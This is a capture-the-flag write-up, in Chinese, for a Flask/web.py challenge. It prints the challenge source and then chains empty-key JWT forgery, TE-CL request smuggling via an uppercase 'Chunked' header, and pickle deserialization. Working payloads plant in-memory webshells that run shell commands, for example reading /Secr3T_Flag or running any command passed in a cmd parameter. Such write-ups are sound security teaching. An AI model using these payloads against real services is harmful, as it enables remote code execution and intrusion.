目录
step0 题目信息
step1 jwt空密钥伪造
step1.5 有关TE&CL的lab
step2 TE-CL请求走私
payload1
payload2
step0 题目信息
注意到题目源码前端是flask写的,后端是web.py写的
frontend
from flask import Flask, request, redirect, render_template_string, make_response
import jwt
import json
import http.client
app = Flask(__name__)
login_form = """
<form method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
"""
@app.route('/', methods=['GET'])
def index():
token = request.cookies.get('token')
if token and verify_token(token):
return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
else:
return redirect("/login", code=302)
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == "POST":
user_info = {"username": request.form["username"], "isadmin": False}
key = get_key("frontend_key")
token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
resp = make_response(redirect("/", code=302))
resp.set_cookie("token", token)
return resp
else:
return render_template_string(login_form)
@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != "Host"}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
conn.request(method, path, body=data, headers=headers)
response = conn.getresponse()
return response.read()
@app.route('/admin', methods=['GET', 'POST'])
def admin():
token = request.cookies.get('token')
if token and verify_token(token):
if request.method == 'POST':
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != 'Host'}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
if "BackdoorPasswordOnlyForAdmin" not in data:
return "You are not an admin!"
conn.request(method, "/backdoor", body=data, headers=headers)
return "Done!"
else:
return "You are not an admin!"
else:
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
return "Welcome admin!"
else:
return "You are not an admin!"
else:
return redirect("/login", code=302)
def get_key(kid):
key = ""
dir = "/app/"
try:
with open(dir+kid, "r") as f:
key = f.read()
except:
pass
print(key)
return key
def verify_token(token):
header = jwt.get_unverified_header(token)
kid = header["kid"]
key = get_key(kid)
try:
payload = jwt.decode(token, key, algorithms=["HS256"])
return True
except:
return False
if __name__ == "__main__":
app.run(host = "0.0.0.0", port = 8081, debug=False)
backend
import web
import pickle
import base64
urls = (
'/', 'index',
'/backdoor', 'backdoor'
)
web.config.debug = False
app = web.application(urls, globals())
class index:
def GET(self):
return "welcome to the backend!"
class backdoor:
def POST(self):
data = web.data()
# fix this backdoor
if b"BackdoorPasswordOnlyForAdmin" in data:
return "You are an admin!"
else:
data = base64.b64decode(data)
pickle.loads(data)
return "Done!"
if __name__ == "__main__":
app.run()
step1 jwt空密钥伪造
jwt解密的过程是去jwttoken的header中取kid字段,然后对其拼接/app/得到文件路径,但我们不知道secretkey在哪个文件中,这里只要指定一个不存在的文件名就可以用空密钥去解密
且后续也不会去验证签名的合法性
指定一个加密的空密钥,再把取解密密钥的路径置空
带着token去访问./admin,发现成功伪造
拿到admin之后我们就可以去请求后端 /backdoor 接口
要访问 /backdoor 接口,请求体要有 BackdoorPasswordOnlyForAdmin ,但后端想要执行pickle反序列化又不能有这段字符串,二者显然矛盾
step1.5 有关TE&CL的lab
我们可以实验下,请求头中有Transfer-Encoding时服务器接收的数据是怎样的
from flask import Flask, request
app = Flask(__name__)
@app.route('/admin', methods=['GET', 'POST'])
def admin():
if request.method == 'POST':
data1 = request.data
print("这是前端接收到的数据")
print(data1)
data2 = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data1))[2:], data1.decode())
print("这是前端向后端发的数据")
print(data2)
if __name__ == "__main__":
app.run(host = "0.0.0.0", port = 8081, debug=False)
bp发包的时候记得把repeater的Update content length关掉
(从上图bp发包可以看到,当Transfer-Encoding和Content-Length共存的时候,flask会优先按TE去解析,哪怕CL长度为1也不影响)
本地起的服务成功打印出接收的data,就是将我们传的分块数据进行了一个拼接
向后端传的data,b8=9c+1c,就是进行了一个TE的格式化处理
至于后端接收的原始数据(暂时忽略Content-Length),显然就是
gANjYnVpbHRpbnMKZXZhbApxAFhUAAAAYXBwLmFkZF9wcm9jZXNzb3IoKGxhbWJkYSBzZWxmIDogX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9TZWNyM1RfRmxhZycpLnJlYWQoKSkpcQGFcQJScQMuBackdoorPasswordOnlyForAdmin
不作赘述
step2 TE-CL请求走私
于是就来到了本题的重头戏:浅谈HTTP请求走私
考虑前后端对HTTP报文的解析差异
后端web.py的web.data()对传入data有这样一段处理
就是说Transfer-Encoding 不为 chunked 就会走CL解析,这里可以用大写绕过chunked
前端flask对请求头的Transfer-Encoding判断时有一个小写的处理,这说明flask底层处理http报文不会将其转小写(否则就是多此一举),因而传往后端的headers中Transfer-Encoding仍然是大写的,这也就支持了上述绕过。
走过判断后,又对data手动进行了一个分块传输的格式处理
伪造一个恶意CL长度,就可以实现将特定的某一段字符传入后端(BackdoorPasswordOnlyForAdmin之前字符的长度。后端不会接收到,但是前端可以),这样一来就绕过了对于BackdoorPasswordOnlyForAdmin的检测,进行pickle反序列化,靶机不出网,可以结合web.py的add_processor方法注内存马(就是在访问路由后执行lambda表达式命令)
payload1
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
Content-Length就是base64编码的长度
打入后直接访问/backend路由即可命令执行
payload2
用pker生成opcode再转base64
GitHub - EddieIvan01/pker: Automatically converts Python source code to Pickle opcode
exp.py
getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
a = dict_get(builtins, '__builtins__')
exec = getattr(a, 'exec')
exec('index.GET = lambda self:__import__("os").popen(web.input().cmd).read()')
return
python3 pker.py < exp.py | base64 -w 0
改一下Content-Length
访问./backend?cmd=cat /Secr3T_Flag